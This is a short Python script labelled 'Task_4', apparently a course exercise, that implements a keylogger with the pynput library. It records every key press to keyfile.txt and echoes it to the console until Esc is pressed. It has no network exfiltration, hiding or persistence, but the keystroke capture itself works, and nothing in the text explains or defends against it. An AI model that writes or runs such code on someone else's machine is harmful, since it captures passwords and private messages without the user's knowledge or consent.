Task_4

from pynput import keyboard

# This is a global variable to control the listener
is_listening = True

def keyPressed(key):
    global is_listening
    # Check for termination key
    if key == keyboard.Key.esc:  # Stop logging when 'Esc' key is pressed
        is_listening = False
        return False  # Stops the listener

    print(str(key))
    with open("keyfile.txt", 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
        except:
            logKey.write(f"[{key}]")  # Write key names like 'Key.space' for non-char keys

if __name__ == "__main__":
    print("Keylogger started. Press 'Esc' to stop.")
    with keyboard.Listener(on_press=keyPressed) as listener:
        listener.join()  # This keeps the listener running until stopped
    print("Keylogger terminated.")